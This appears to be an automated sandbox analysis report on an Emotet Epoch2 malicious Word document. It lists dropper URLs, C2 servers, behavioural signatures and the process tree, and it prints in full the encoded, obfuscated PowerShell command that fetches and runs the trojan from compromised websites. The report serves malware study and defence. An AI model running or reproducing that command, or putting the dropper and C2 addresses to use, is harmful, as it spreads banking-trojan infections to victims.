Overview

overview

10

Static

static

8

emotet_e2_...px.doc

windows7_x64

10

emotet_e2_...px.doc

windows10_x64

10

Analysis

  • max time kernel
    79s
  • max time network
    152s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    27/10/2020, 22:56

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    emotet_e2_7aa10dde15927ea374516ecf0c02332c44d93290a94510cbd83a4eea88cd43eb_2020-10-27__225156924176._fpx.doc
  • Size 190KB
  • Sample201027-v247pdnmlx
  • SHA256 7aa10dde15927ea374516ecf0c02332c44d93290a94510cbd83a4eea88cd43eb
  • MD5 SHA1 SHA512
Score
10/10
emotetepoch2bankertrojan

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://mueindustries.com/wp-admin/D/
  • exe.dropper

    http://biharbhumibazar.com/wp-admin/D/
  • exe.dropper

    http://jiehost.com/wp-admin/6ZFh6A/
  • exe.dropper

    http://fit.develab.mx/wp-admin/sjai4FA/
  • exe.dropper

    http://weeklyoutfits.com/how-much/zw2z/
  • exe.dropper

    http://personalizedjigsaws.com/replace_img/qG6D9T/
  • exe.dropper

    http://stabri-thailand.org/cgi-bin/1GKI/
  • exe.dropper

    http://odmova.pl/retranslate/OqLdry/

Extracted

Family

  • emotet

Botnet

  • Epoch2

C2

  • 88.153.35.32:80

  • 107.170.146.252:8080

  • 173.212.214.235:7080

  • 167.114.153.111:8080

  • 67.170.250.203:443

  • 121.124.124.40:7080

  • 103.86.49.11:8080

  • 74.214.230.200:80

  • 194.187.133.160:443

  • 172.104.97.173:8080

  • 172.91.208.86:80

  • 200.116.145.225:443

  • 202.134.4.216:8080

  • 172.105.13.66:443

  • 190.164.104.62:80

  • 50.35.17.13:80

  • 176.111.60.55:8080

  • 201.241.127.190:80

  • 66.76.12.94:8080

  • 95.213.236.64:8080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 9 IoCs
    adwarespyware
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_7aa10dde15927ea374516ecf0c02332c44d93290a94510cbd83a4eea88cd43eb_2020-10-27__225156924176._fpx.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1904
  • C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
    POwersheLL -ENCOD IAAgAHMAdgAgACAAeAA4AFkAZQBJAFMAIAAgACgAIAAgAFsAdABZAHAARQBdACgAIgB7ADAAfQB7ADMAfQB7ADQAfQB7ADUAfQB7ADEAfQB7ADIAfQAiAC0AZgAnAHMAWQBzAHQAJwAsACcAUgBlAEMAJwAsACcAVABPAFIAeQAnACwAJwBlACcALAAnAG0ALgBJAE8ALgBkACcALAAnAGkAJwApACAAIAApACAAOwAgACAAIABTAGUAdAAtAEkAVABFAG0AIAAgAFYAQQBSAGkAQQBCAEwAZQA6AEMAZgBMACAAKAAgAFsAVAB5AHAARQBdACgAIgB7ADIAfQB7ADUAfQB7ADgAfQB7ADcAfQB7ADQAfQB7ADYAfQB7ADEAfQB7ADMAfQB7ADAAfQAiAC0ARgAgACcAUgAnACwAJwBuAHQAbQAnACwAJwBzACcALAAnAGEATgBhAGcAZQAnACwAJwBFACcALAAnAFkAcwB0AEUATQAuAE4ARQBUACcALAAnAHAAbwBJACcALAAnAEkAYwAnACwAJwAuAFMAZQBSAHYAJwApACkAOwAgACAAJABYAGoAeQBwAHUAbQAzAD0AKAAnAE4AJwArACgAJwAyAGQAaABzACcAKwAnAGEAJwApACsAJwB3ACcAKQA7ACQAUwBsAGYAMAA3AHQAZgA9ACQARwBnADYANQBoAHAAZwAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQARgA5ADgAdABqAGIAdQA7ACQARQBuAGIAeAA2ADEAdwA9ACgAJwBTAG4AJwArACgAJwA1ADMAJwArACcANQA3ADMAJwApACkAOwAgACgAIAAgAEcAZQBUAC0AQwBoAEkATABEAGkAVABFAE0AIAB2AEEAUgBpAGEAYgBMAGUAOgBYADgAWQBFAGkAcwAgACAAKQAuAFYAQQBsAFUARQA6ADoAIgBDAFIAZQBBAGAAVABlAGQASQByAGUAYwBgAFQAYABPAHIAeQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAoACcAcABQAHgAJwArACcAVABzADAAbgBzADgAJwApACsAJwBjACcAKwAoACcAcAAnACsAJwBQAHgAUQAnACkAKwAoACcANgBzACcAKwAnADQAYgAnACkAKwAoACcAYgBmAHAAJwArACcAUAB4ACcAKQApAC4AIgByAGUAcABgAGwAYQBgAEMARQAiACgAKABbAEMAaABBAHIAXQAxADEAMgArAFsAQwBoAEEAcgBdADgAMAArAFsAQwBoAEEAcgBdADEAMgAwACkALAAnAFwAJwApACkAKQA7ACQARgB2AHQANwBoAG0AdgA9ACgAJwBCACcAKwAoACcAdgBoACcAKwAnAHcAcQBqACcAKQArACcAbAAnACkAOwAgACQAYwBGAGwAOgA6ACIAUwBgAGUAYABDAGAAVQBgAFIAaQB0AHkAUAByAG8AVABgAE8AQwBvAEwAIgAgAD0AIAAoACgAJwBUACcAKwAnAGwAcwAxACcAKQArACcAMgAnACkAOwAkAEYAcABiAGUAMABfAGMAPQAoACcATwBxACcAKwAoACcAZAA1ACcAKwAnAHYAcAAnACkAKwAnAGsAJwApADsAJABMAG8AbQB3AGwAZgA0ACAAPQAgACgAJwBFACcAKwAnAGsAJwArACgAJwBrAHoAcwAnACsAJwB5AHIAJwApACkAOwAkAFUAdgB1AGsAcwBfAF8APQAoACgAJwBCAG0AdQAnACsAJwBvACcAKQArACcANQB4ACcAKwAnAHkAJwApADsAJABOAGEAbAAyAGkAMwA3AD0AKAAnAEgANgAnACsAJwBxAGYAJwArACgAJwAwAHgAJwArACcAXwAnACkAKQA7ACQASQBuAG0ANAB0AHgAMAA9ACQASABPAE0ARQArACgAKAAnAFQAJwArACgAJwA3AFAAVABzACcAKwAnADAAbgAnACsAJwBzADgAYwAnACkAKwAnAFQAJwArACgAJwA3ACcAKwAnAFAAUQAnACsAJwA2AHMANAAnACkAKwAoACcAYgAnACsAJwBiAGYAVAAnACkAKwAnADcAUAAnACkAIAAtAEMAcgBFAHAAbABhAEMARQAgACgAJwBUACcAKwAnADcAUAAnACkALABbAEMAaABhAHIAXQA5ADIAKQArACQATABvAG0AdwBsAGYANAArACgAJwAuACcAKwAoACcAZQAnACsAJwB4AGUAJwApACkAOwAkAFkAaABuAG8AcQAzAGEAPQAoACcATQAnACsAJwB4ADMAJwArACgAJwBqACcAKwAnADYANwB0ACcAKQApADsAJABYAHgAdwBrADIANgB6AD0ALgAoACcAbgAnACsAJwBlAHcALQAnACsAJwBvAGIAagAnACsAJwBlAGMAdAAnACkAIABuAGUAdAAuAFcAZQBCAGMATABpAEUATgB0ADsAJABYAHYAbQA5AGcAbwB5AD0AKAAoACcAaAB0AHQAcAAnACsAJwA6AFsAJwArACcAIAB1AE4ASABzACAAXQBbACAAJwArACcAdQBOAEgAcwAgAF0AbQAnACkAKwAoACcAdQBlAGkAJwArACcAbgBkACcAKQArACgAJwB1AHMAJwArACcAdAByACcAKwAnAGkAZQBzAC4AJwArACcAYwBvAG0AWwAnACsAJwAgAHUATgBIACcAKQArACgAJwBzACcAKwAnACAAXQB3AHAALQAnACkAKwAoACcAYQBkAG0AaQAnACsAJwBuAFsAIAAnACsAJwB1ACcAKQArACcATgAnACsAKAAnAEgAcwAgACcAKwAnAF0ARAAnACkAKwAoACcAWwAgACcAKwAnAHUATgBIAHMAJwApACsAKAAnACAAXQBAAGgAdAAnACsAJwB0ACcAKwAnAHAAJwApACsAKAAnADoAJwArACcAWwAgACcAKQArACgAJwB1ACcAKwAnAE4ASAAnACkAKwAoACcAcwAnACsAJwAgAF0AWwAnACkAKwAnACAAJwArACcAdQBOACcAKwAnAEgAcwAnACsAJwAgACcAKwAoACcAXQBiAGkAJwArACcAaAAnACkAKwAoACcAYQByACcAKwAnAGIAaAB1ACcAKwAnAG0AJwApACsAKAAnAGkAYgBhAHoAJwArACcAYQByAC4AJwApACsAKAAnAGMAbwAnACsAJwBtACcAKQArACgAJwBbACAAJwArACcAdQAnACkAKwAoACcATgAnACsAJwBIAHMAIAAnACsAJwBdAHcAcAAtACcAKwAnAGEAZABtAGkAJwApACsAJwBuAFsAJwArACgAJwAgACcAKwAnAHUATgBIAHMAIABdACcAKwAnAEQAWwAnACkAKwAoACcAIAB1ACcAKwAnAE4ASAAnACsAJwBzACAAXQAnACkAKwAoACcAQABoACcAKwAnAHQAdABwACcAKwAnADoAWwAnACkAKwAoACcAIAB1AE4ASAAnACsAJwBzACAAXQAnACsAJwBbACcAKwAnACAAdQBOACcAKQArACgAJwBIAHMAIABdACcAKwAnAGoAaQAnACsAJwBlACcAKQArACgAJwBoACcAKwAnAG8AcwAnACkAKwAoACcAdAAnACsAJwAuAGMAbwBtAFsAIAB1AE4AJwApACsAKAAnAEgAcwAgACcAKwAnAF0AJwApACsAKAAnAHcAcAAtAGEAJwArACcAZABtAGkAbgBbACcAKwAnACAAdQBOACcAKwAnAEgAJwApACsAKAAnAHMAIABdADYAJwArACcAWgBGAGgANgAnACsAJwBBAFsAJwApACsAKAAnACAAdQBOAEgAJwArACcAcwAgACcAKwAnAF0AJwApACsAKAAnAEAAaAAnACsAJwB0ACcAKQArACgAJwB0ACcAKwAnAHAAOgBbACAAJwApACsAKAAnAHUAJwArACcATgBIAHMAJwArACcAIABdAFsAIAB1ACcAKQArACgAJwBOACcAKwAnAEgAJwArACcAcwAgAF0AZgBpAHQAJwApACsAKAAnAC4AZAAnACsAJwBlAHYAJwApACsAKAAnAGUAbABhACcAKwAnAGIAJwApACsAKAAnAC4AJwArACcAbQAnACsAJwB4AFsAIAAnACsAJwB1AE4ASABzACAAXQB3AHAALQBhACcAKwAnAGQAJwApACsAJwBtACcAKwAnAGkAbgAnACsAJwBbACcAKwAoACcAIAB1ACcAKwAnAE4ASAAnACkAKwAoACcAcwAnACsAJwAgAF0AJwApACsAKAAnAHMAJwArACcAagBhACcAKQArACgAJwBpADQARgBBAFsAJwArACcAIAB1AE4AJwArACcASAAnACsAJwBzACAAXQAnACkAKwAnAEAAaAAnACsAKAAnAHQAdABwADoAWwAgAHUATgAnACsAJwBIACcAKQArACgAJwBzACAAXQAnACsAJwBbACAAJwArACcAdQBOACcAKQArACgAJwBIAHMAJwArACcAIABdACcAKwAnAHcAZQBlAGsAbAB5ACcAKQArACcAbwB1ACcAKwAoACcAdABmACcAKwAnAGkAdAAnACkAKwAoACcAcwAnACsAJwAuAGMAbwAnACkAKwAoACcAbQAnACsAJwBbACAAdQAnACsAJwBOAEgAcwAnACkAKwAoACcAIABdAGgAJwArACcAbwB3ACcAKQArACgAJwAtAG0AJwArACcAdQBjACcAKQArACcAaAAnACsAKAAnAFsAJwArACcAIAB1ACcAKQArACgAJwBOACcAKwAnAEgAcwAgACcAKQArACgAJwBdACcAKwAnAHoAdwAnACkAKwAnADIAJwArACcAegBbACcAKwAnACAAdQAnACsAKAAnAE4ASABzACcAKwAnACAAXQAnACsAJwBAAGgAdAB0ACcAKQArACgAJwBwADoAWwAnACsAJwAgAHUATgBIAHMAJwArACcAIABdACcAKQArACgAJwBbACAAdQAnACsAJwBOAEgAJwArACcAcwAgAF0AcAAnACsAJwBlAHIAJwArACcAcwBvACcAKQArACgAJwBuAGEAbAAnACsAJwBpACcAKQArACgAJwB6AGUAZAAnACsAJwBqACcAKQArACcAaQBnACcAKwAnAHMAYQAnACsAKAAnAHcAJwArACcAcwAuAGMAbwBtAFsAJwApACsAKAAnACAAJwArACcAdQBOAEgAJwApACsAJwBzACcAKwAoACcAIABdAHIAZQAnACsAJwBwAGwAYQBjACcAKwAnAGUAXwBpACcAKwAnAG0AZwAnACkAKwAoACcAWwAgAHUAJwArACcATgBIACcAKwAnAHMAIAAnACkAKwAoACcAXQBxAEcANgBEACcAKwAnADkAJwApACsAJwBUACcAKwAnAFsAJwArACcAIAB1ACcAKwAnAE4AJwArACgAJwBIAHMAIABdAEAAJwArACcAaAAnACkAKwAoACcAdAB0AHAAOgAnACsAJwBbACAAJwArACcAdQBOAEgAcwAgACcAKQArACgAJwBdAFsAJwArACcAIAB1AE4AJwApACsAKAAnAEgAcwAnACsAJwAgAF0AJwApACsAJwBzACcAKwAoACcAdABhAGIAJwArACcAcgBpACcAKQArACgAJwAtACcAKwAnAHQAaABhAGkAJwApACsAKAAnAGwAJwArACcAYQBuACcAKQArACgAJwBkAC4AbwByACcAKwAnAGcAWwAnACkAKwAnACAAJwArACgAJwB1AE4AJwArACcASAAnACkAKwAoACcAcwAgACcAKwAnAF0AYwBnAGkALQBiAGkAJwArACcAbgAnACkAKwAoACcAWwAgAHUAJwArACcATgBIAHMAJwArACcAIAAnACsAJwBdADEAJwApACsAJwBHAEsAJwArACcASQBbACcAKwAoACcAIAB1AE4ASAAnACsAJwBzACAAXQBAACcAKwAnAGgAJwArACcAdAAnACkAKwAnAHQAJwArACgAJwBwADoAJwArACcAWwAnACkAKwAoACcAIAB1AE4AJwArACcASABzACAAJwApACsAKAAnAF0AWwAnACsAJwAgAHUAJwApACsAJwBOAEgAJwArACcAcwAnACsAKAAnACAAJwArACcAXQBvAGQAJwApACsAJwBtAG8AJwArACgAJwB2ACcAKwAnAGEAJwArACcALgBwAGwAWwAgACcAKwAnAHUATgBIAHMAJwArACcAIABdAHIAJwApACsAKAAnAGUAdAAnACsAJwByAGEAJwApACsAKAAnAG4AcwBsACcAKwAnAGEAJwApACsAKAAnAHQAZQAnACsAJwBbACAAJwApACsAJwB1ACcAKwAoACcATgAnACsAJwBIAHMAJwApACsAJwAgAF0AJwArACgAJwBPAHEATABkAHIAeQBbACcAKwAnACAAJwArACcAdQBOAEgAcwAgACcAKQArACcAXQAnACkALgAiAFIARQBwAGwAYABBAEMAZQAiACgAKAAoACcAWwAgACcAKwAnAHUATgBIACcAKQArACcAcwAgACcAKwAnAF0AJwApACwAKABbAGEAcgByAGEAeQBdACgAJwAvACcAKQAsACcAZgBzACcAKQBbADAAXQApAC4AIgBTAFAAYABsAGkAdAAiACgAJABRAGIAZgBzAG4AMQB3ACAAKwAgACQAUwBsAGYAMAA3AHQAZgAgACsAIAAkAFMAOABfAHkAdQA1AHQAKQA7ACQASgBiAHAAdwBqAGsANAA9ACgAKAAnAFoAMQAnACsAJwBrAHcAJwApACsAJwBfAHgAJwArACcANAAnACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAFkAegAwAHkAMQAyADcAIABpAG4AIAAkAFgAdgBtADkAZwBvAHkAKQB7AHQAcgB5AHsAJABYAHgAdwBrADIANgB6AC4AIgBkAGAATwB3AGAATgBsAG8AQQBkAGYAaQBsAGUAIgAoACQAWQB6ADAAeQAxADIANwAsACAAJABJAG4AbQA0AHQAeAAwACkAOwAkAEkANwBzADgAcwByAGYAPQAoACcAUAAnACsAKAAnAG0AJwArACcAegB1ADMAbgBiACcAKQApADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0ASQB0ACcAKwAnAGUAbQAnACkAIAAkAEkAbgBtADQAdAB4ADAAKQAuACIATABlAG4AYABHAFQASAAiACAALQBnAGUAIAA0ADIANAA5ADgAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACgAKAAnAHcAJwArACcAaQBuADMAMgAnACkAKwAoACcAXwAnACsAJwBQAHIAbwBjAGUAJwArACcAcwAnACkAKwAnAHMAJwApACkALgAiAEMAUgBgAGUAYQBUAGUAIgAoACQASQBuAG0ANAB0AHgAMAApADsAJABKADcANQBxADkAawBtAD0AKAAnAEsAcwAnACsAKAAnAHkAcABhACcAKwAnAGIAJwApACsAJwBjACcAKQA7AGIAcgBlAGEAawA7ACQATwBsAHkAbQB3ADgANwA9ACgAKAAnAEUAJwArACcAXwA5ACcAKQArACgAJwB3AGoAJwArACcAMAAnACkAKwAnAHcAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABSAHIAdwAyAF8AMABwAD0AKAAnAEUAJwArACcAeQAnACsAKAAnAGQAJwArACcAMABzADUAdwAnACkAKQA=
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:1508
  • C:\Users\Admin\Ts0ns8c\Q6s4bbf\Ekkzsyr.exe
    C:\Users\Admin\Ts0ns8c\Q6s4bbf\Ekkzsyr.exe
    1⤵
    • Executes dropped EXE
    • Drops file in System32 directory
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:688
    • C:\Windows\SysWOW64\certreq\dmloader.exe
      "C:\Windows\SysWOW64\certreq\dmloader.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      PID:1420

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/688-14-0x00000000002F0000-0x0000000000300000-memory.dmp
        Download

        memory/688-13-0x00000000003E0000-0x00000000003F2000-memory.dmp
        Download

        memory/1420-18-0x0000000000380000-0x0000000000390000-memory.dmp
        Download

        memory/1420-17-0x00000000003A0000-0x00000000003B2000-memory.dmp
        Download

        memory/1508-5-0x0000000002210000-0x0000000002211000-memory.dmp
        Download

        memory/1508-9-0x000000001ABB0000-0x000000001ABB1000-memory.dmp
        Download

        memory/1508-10-0x000000001B680000-0x000000001B681000-memory.dmp
        Download

        memory/1508-8-0x0000000002380000-0x0000000002381000-memory.dmp
        Download

        memory/1508-7-0x0000000002350000-0x0000000002351000-memory.dmp
        Download

        memory/1508-6-0x000000001ADD0000-0x000000001ADD1000-memory.dmp
        Download

        memory/1508-4-0x000007FEF6280000-0x000007FEF6C6C000-memory.dmp
        Download

        memory/1832-19-0x000007FEF7060000-0x000007FEF72DA000-memory.dmp
        Download

        memory/1904-0-0x00000000003C5000-0x00000000003C9000-memory.dmp
        Download

        memory/1904-3-0x00000000003C5000-0x00000000003C9000-memory.dmp
        Download

        memory/1904-2-0x00000000003C5000-0x00000000003C9000-memory.dmp
        Download

        memory/1904-1-0x0000000006250000-0x0000000006254000-memory.dmp
        Download